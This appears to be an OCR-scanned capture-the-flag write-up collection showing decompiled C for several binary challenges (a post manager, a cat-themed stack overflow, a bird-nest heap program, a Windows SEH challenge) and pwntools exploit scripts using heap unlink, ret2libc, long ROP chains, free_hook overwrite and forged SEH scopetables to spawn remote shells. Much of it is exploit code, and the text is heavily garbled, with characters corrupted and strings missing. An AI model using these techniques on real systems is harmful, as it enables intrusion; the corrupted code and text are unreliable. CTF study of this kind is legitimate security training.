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_QWORD *Sub_499A49()
{
_QWORD *result; // rax
int i; // [rsp+Ch] [rbp-4h]

gword_6020A8 = (__int64)malloc(@x1810ulLl);

*(_QWORD *)qword_6@20A8 = 256LL;

result = (_QWORD *)qword_6020AS8;

*(_QWORD *)(qword_6020A8 + 8) = OLL;

for ( 1 = @; 1 <= 255; ++1 )

{
*(_QWORD *)(qword_6820A8 + 24LL * 1 + 16) oLL;
*(_QWORD *)(qword_6820A8 + 24LL * 1 + 24) oLL;
result = (_QWORD *)(qword_6028A8 + 24LL * 1 + 32);
*¥result = @LL;

¥

return result;
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int sub_4eeB14()

{
__inte4 ve; // rax
unsigned int i; // [rsp+Ch] [rbp-4h]
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if ( *(__inte4 *)(qword_6028A8 + 8) <= 0 )
{

}

else

{
for (1 =0@; ; ++1 )

{

LODWORD(ve) = puts("You need to create some new posts first.");

ve = *(_QWORD *)gword_6020A8;
if ( (int)i >= *(_QWORD *)qword_6620A8 )
break;
if ( *(_QWORD *)(qword_6@20A8 + 24LL * (int)i + 16) == 1LL )
printf("%d. %s\n", i, *(const char **)(qword_6©20A8 + 24LL * (int)i + 32));
¥
}

return ve;

add

for (1 =9; ; ++1 )
{
ve = *(_QWORD *)qword_6820A8;
if (i >= *(_QWORD *)qword_6020A8 )
break;
if ( !*(_QWORD *)(gword_6@20A8 + 24LL * 1 + 16) )
{
printf("Length of new post: ");
v3 = sub_40094E();
if (v >0)
{
if ( v3 > 4096 )
v3 = 40896;
v4d = malloc((128 - v3 % 128) % 128 + v3);
printf("Enter your post: ");
sub_40e85D(v4, (unsigned int)v3);
*(_QWORD *)(qword_6020A8 + 24LL * i + 16)
*(_QWORD *)(qword_6820A8 + 24LL * 1 + 24) = v3;
*(_QWORD *)(qword_6820A8 + 24LL * 1 + 32) = v4;
++*(_QWORD *)(gword_6020A8 + 8);
LODWORD(v@) = puts("Done.");
; I
else
{
LODWORD(v8) = puts("Invalid length!");
}

return ve;
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edit

nt sub_4eeD87()

__inte4 vi; // rbx
int v2; // [rsp+4h] [rbp-1Ch]
int v3; // [rsp+8h] [rbp-18h]

printf("Post number: ");
v3 = sub_40094E();
if (v3 <@ || v3 >= *(_QWORD *)qword_6020A8 || *( QWORD *)(qword_6020A8 + 24
return puts("Invalid number!");
printf("Length of post: ");
v2 = sub_40894E();
if (v2 <=0 )
return puts("Invalid length!");
if ( v2 > 4096 )
vZ = 40896;
if ( v2 != *(_QWORD *)(qword_6020A8 + 24LL * v3 + 24) )
{
vl = gqword_60208A8;
*(_QWORD *)(vl + 24LL * v3 + 32) = realloc(*(void **)(qword_6020A8 + 24LL *
*(_QWORD *)(qword_6020A8 + 24LL * v3 + 24) = v2;
X
printf("Enter your post: ");
sub_40085D(*(_QWORD *)(qword_6028A8 + 24LL * v3 + 32), (unsigned int)v2);
return puts("Done.");

free

int sub_4eeF7D()

r
L

int v1; // [rsp+Ch] [rbp-4h]

if ( *(__inted *)(qword_6020A8 + 8) <=9 )
return puts("No posts yet.");
printf("Post number: ");
vl = sub_40094E();
if (vl <@ || vi >= *(_QWORD *)gword_6020A8 )
return puts("Invalid number!");
--*(_QWORD *)(qword_6020A8 + 8);
*(_QWORD *)(qword_6@28A8 + 24LL * v1 + 16) = OLL;
*(_QWORD *)(qword_6620A8 + 24LL * v1 + 24) = OLL;
free(*(void **)(qword_6©20A8 + 24LL * vl + 32));
return puts("Done.");
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exp

from pwn import
context.log_level

r remote(

r.recvuntil(
r.sendline( )
def add(size, note):
r.recvuntil(
r.sendline( )
.recvuntil(
.sendline( (size))
.recvuntil(

-
-
-
-

.sendline(note)

def edit(index, size, note):
r.recvuntil(

.sendline( )

.recvuntil(

.sendline( (index))

.recvuntil(

.sendline( (size))

.recvuntil(

.send(note)



.recvuntil(
.sendline(
.recvuntil(

.sendline( (index))

free_got elf.got|[

add (0x80,0x80
add (0x80,0x80
add (0x80,0x80
add (0x80,0x80
add (0x80,0x80

(

0x90
edit (o, (payload),payload)
show()

r.recvuntil (0x90 )
ub4(r.recvuntil(
heap_0 + 0x1a40

heap_0 - 0x18
heap_0 - 0x10
p64(0) + p64(0x80)
p64(fd) p64(bk)
payload.ljust(0x80,
p64(0x80) p64(0x90)
(payload),payload)

p64(2) p64(1) p64(0x8) p64(free_got)
p64(9) ) p64(1) p64(8) p64(heap_4)
payload.ljust(0x90, )
(payload),payload)

ub4(p.recvuntil( )[-6:].1just(8,
libc_base free libc.sym[ ]
system libc_base libc.sym[

(libc_base)

p64(system)
(payload),payload)

r.interactive()
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setvbuf(stdout, @, 2, 9);
setvbuf(_bss_start, @, 2, 0);

puts("***************** xxxxxxxxxx **********************");
puts (" AN AN _")s
puts(" .‘l \"\"\"\" ‘,_I ‘__'_II);
puts (" - - = \" o - = ")
puts(" ,-sssss ._ " _,"\" ; '~anil L ssSSS-.");
puts(" |ssssss ,' ,_"--'_ __ ' it 7 Tlssssss|");
puts("|sssssss " -. ~ »---_;; ssssss|");
puts(" |ssssssssss AL , 'ssssss|");
puts(" ~-S55555555555S55SSS mmmammmmamnmnnn SSSS.-'M);
puts("” T ---.55555555555555555855585.---" ");
puts("***************** xxxxxxxxxx *********************rr) .
.

puts("Hey!Do you like cats?");
__1s0¢99_scanf("%c", v4);

if (vafe] == 'y' || va[e] = 'v')
{

}
else if ( v4[e] == 'n' || va[@] == 'N' )

{
}

else

{
}

return @;

play();

puts("No...there is no flag for the guy who don't like cats..");

puts("answer my question OK?");

int play()

{
char s[208]; // [esp+8h] [ebp-D@h] BYREF

memset(s, @, OxC8u);
puts("Huh...maby you have a change to get my flag.");
puts("If you can solve my puzzle :p");

puts(" ")

puts (" b e NS

puts(” /) = NN M)
puts(” ( ¢ "/ AR F

puts (" AW\ T\ WY/ ");
puts("” . s WA\ /] ")
puts(” /. e A ")
puts (" ( ; | ")
puts(” | .- - | 7 ")
puts(” | 1 C | | / ")s
puts (" Y I\ |/ ")



puts (" T--t o Te=\") ")s
puts("Help this cat found his anchovies:");

read(@, s, 4eeu);

puts(“"Where are the anchovies?");

return @;

lint anchovies()

{
¥

return system("/bin/cat");

FR 3 A A system s $ .
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from pwn import
context.log level

remote(

elf.plt[
elf.got|[
0x80486e7

r.sendlineafter( 5 )

payload oxd4 + p32(puts_plt) p32(play) p32(puts_got)
r.sendlineafter( , payload)

puts_addr u3d2(r.recvuntil( )[-4:1])
libc_base puts_addr libc.sym[ ]
bin_sh libc_base libc.search(
system_addr libc_base libc.sym[
(puts_addr)
(libc_base)

payload Oxd4 + p32(system_addr) 2 p32(bin_sh)
r.sendlineafter( , payload)

r.interactive()
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from pwn import

context.log_level




sh remote

sys_plt 0x08048410
data_addr = 0x0804A028

0x0804884c
0x08048842
0x0804882a
0x08048834
0x080483dd

p32(xor_edx_edx)
ox4

p32(pop_ebx)

p32(data_addr)

p32(xor_edx_ebx)
ox4

p32(xchg_ecx_edx)
ox4

p32(xor_edx_edx)
ox4
p32(pop_ebx)

p32(xor_edx_ebx)
ox4

p32(mov_ecx_edx)
ox4
p32(0)

p32(xor_edx_edx)
ox4

p32(pop_ebx)

p32(data_addr + 4)

p32(xor_edx_ebx)
ox4

p32(xchg_ecx_edx)
ox4

p32(xor_edx_edx)
ox4
p32(pop_ebx)

p32(xor_edx_ebx)
ox4

p32(mov_ecx_edx)




sh.recv()
sh.sendline(payload)

sh.interactive()

p32(sys_plt)

payload p32(data_addr)

sh.recv()
sh.send( )

sh.recv()

sh.sendline(payload)

sh.interactive()
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rax, [rbp - @x7@]

rax, [rbp - #x70]
rdi, rax
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from pwn import
from struct import pack

def exp():

r remote( , 28242)
r.sendline(
sleep(1)

pack( , 0x00000000004100d3)




p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p

0x000000000V6bH90e0)
0x00000000004494ac)

0x0000000000471261)
0x00000000004100d3)
0x00000000006b90e8)
0x0000000000444840)
0x0000000000471261)
0x0000000000400686 )
0x000000000V6b90e0)
0x00000000004100d3)
0x00000000O6b90E8)
0x0000000000449505 )
0x00000000006b90e8)
0x0000000000444840)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)
0x00000000004746b0)




pack( 0x00000000004746b0)
pack( 0x00000000004746b0)
pack( 0x00000000004746b0)
pack( 0x00000000004746b0)
pack( 0x00000000004746b0)
pack( 0x00000000004746b0)
pack( 0x00000000004746b0)
pack( 0x00000000004746b0)
pack( 0x00000000004746b0)
pack( 0x00000000004746b0)
pack( 0x00000000004746b0)
pack( 0x00000000004746b0)
pack( 0x00000000004746b0)
pack( 0x00000000004746b0)
pack( 0x000000000040123C)

p
p
p
p
p
p
p
p
p
p
p
p
p
p
p

r.sendline(p)

r.interactive()
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add

v5 = __readfsqword(@x28u);
for (1 =9; 1 <=9; ++1 )
{

if ( !*(&nests + 1) )
{

*(&nests + 1) = malloc(@x16ulLl);

if ( !*(&nests + 1) )

{
puts(“Nope.something wrong..");
exit(1);

¥

printf("how big is the nest ?");

read(@, buf, 8uLL);

size = atoi(buf);

ve = (__inte4)*(&nests + 1);

*(_QWORD *)(ve + 8) = malloc(size);

if ( !*((_QWORD *)*(&nests + 1) + 1) )

{
puts("Nope.something wrong..");
exit(2);

¥

*(_QWORD *)*(&nests + 1) = size;

printf("what stuff you wanna put in the nest?");

myread(*((_QWORD *)*(&nests + 1) + 1), size);

puts("Thx buddy.");

return __readfsqword(®x28u) ~ v5;

bssB B S 2 HiE T — I —P0x10K
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edit

unsigned __int64 decoratenest()

{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+16h] [rbp-16h] BYREF
unsigned __inté4 v3; // [rsp+18h] [rbp-8h]

v3 = _ readfsgqword(@x28u);

printf("Index :");

read(@, buf, 4uLL);

vl = atoi(buf);

if (vi<e || vi>9)

{
puts("00B!My Boy!");
_exit(e);

}

if ( *(&nests + v1) )

{
printf("what stuff you wanna put in the nest?");
myread(*((void **)*(&nests + v1) + 1), *(_QWORD *)*(&nests + v1) + 1LL);
puts("Done !");

}

else

{

puts("No such nest !");

}

return __readfsgword(&x28u) ~ v3;

off by one
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show

—— _— P e — =t

unsigned __int64 shownest()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+l8h] [rbp-16h] BYREF
unsigned __inté4 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(®x28u);

printf("Index :");

read(@, buf, 4uLl);

vl = atoi(buf);

if (vi<e ||l vis>o9)

{
puts("COB!My Boy!");
_exit(e);

}
if ( *(&nests + v1) )

{
printf("Size : %ld\nDecorations : %s\n", *(_QWORD *)*(&nests + vl1), *((const char **)*(&nests + v1) + 1));

puts("Done 1");
}

else |

{

puts("No such nest !");

}

return __readfsqword(@x28u) ~ v3;

1E % show



delete

{

unsigned _ inté4 crash_nest()

int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+18h] [rbp-186h] BYREF
unsigned __inte4 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(@x28u);
printf("Index :");

read(@, buf, 4uLL);

vl = atoi(buf);

if (vi<e || vi>9)

{
puts("O0B!My Boy!");
_exit(e);
¥
if ( *(&nests + v1) )
{

free(*((void **)*(&nests + v1) + 1));
free(*(&nests + v1));

*(&nests + v1l) = OLL;

puts(“Now another w@odpeck3r lost his house :(");

h

else

{

puts(“No such nest !");

h

return __readfsqword(@x28u) ~ v3;

%7.

JIT DL /R T 52— off by one.
K Agot& i ny MBS, it LAsh Bl (3 Bt .

exp

Huaf, HZRGILEZ, K Asizelk



from pwn import

context.log level

remote( ,28709)

add(size,content):
r.sendlineafter( )
r.sendlineafter( 5 (size))

r.sendlineafter( ,content)

edit(idx,content):
r.sendlineafter( )
r.sendlineafter( 5 (idx))
r.sendafter( ,content)

show(idx):
r.sendlineafter(
r.sendlineafter(

delete(idx):
r.sendlineafter(
r.sendlineafter(

malloc_hook (ub4(r.recvuntil( )[-6:].1just(8, OXFFFFFFFFFFFFFO00) (libc.sym[
OXFFF) - 0x1000

libc_base malloc_hook libc.sym[
free_hook libc_base libc.sym[
libc_base libc.sym[
(libc_base)

Ox10 + p64(0x40)
delete(3)
delete(2)

add (0x71, 0x38+p64(0x21)+p64(free_hook))

add (0x10, p64(system_addr))

delete(1)

r.interactive()
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V4 = _acrt_iob_tunc(®);
setvbuf(v4, @, 4, 0);
puts("ouch! Do not kill me , I will tell you everything");
sub_4e1428("stack address = @x%x\n", (char)v9);
sub_481428("main address = @x%x\n", (char)main);
for (1 =03 1 < 103 ++1 )
{

puts("Do you want to know more?");

sub_4e1eee(ve, 10);

ve = strcmp(vY, “yes');
if (ve )
ve = v6 < @ ? -1 : 1;
if (ve )
{
v5 = stremp(v9, "no");
if ( vs )
vs = v5 <@ ? -1: 1;
if ( lvs )
break;
sub_4el1eee(ve, 256);
¥
else
{

puts(“"Where do you want to know");
v7 = sub_401e60();
sub_401420("Address Ox%x value is @x%x\n", v7);

¥
¥

ms_exc.registration.TrylLevel = -2;

puts("I can tell you everything, but I never believe 1+1=2");

0000531 main:15 (401131)

75 maingk E iR stack
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from pwn import

context.arch

remote( , 25882)

def get value(addr):
r.recvuntil(
.sendline(
.recvuntil(
.sendline( (addr))
.recvuntil( )

return (r.recvline(), 16)

r.recvuntil(
r.recvline()
(result, 16)
)
r.recvline()

main_address (result, 16)

security_cookie get_value(main_address 12116)

r.sendline( )
next_addr = stack_addr + 212

SCOPETABLE [
OXOFFFFFFFE,
0,
@XxOFFFFFFCC,
0,
OXFFFFFFFE,
main_address VEER

payload 16 + flat(SCOPETABLE).ljust(104 - 16, ) p32((stack_addr 156) security_cookie)
p32(next_addr) p32(main_address 944) p32((stack_addr 16) security_cookie) p32(0)
.sendline(payload)

.sendline(
.recvuntil(

2
r
r.recvline()
r
r
e

.sendline(

.interactive()
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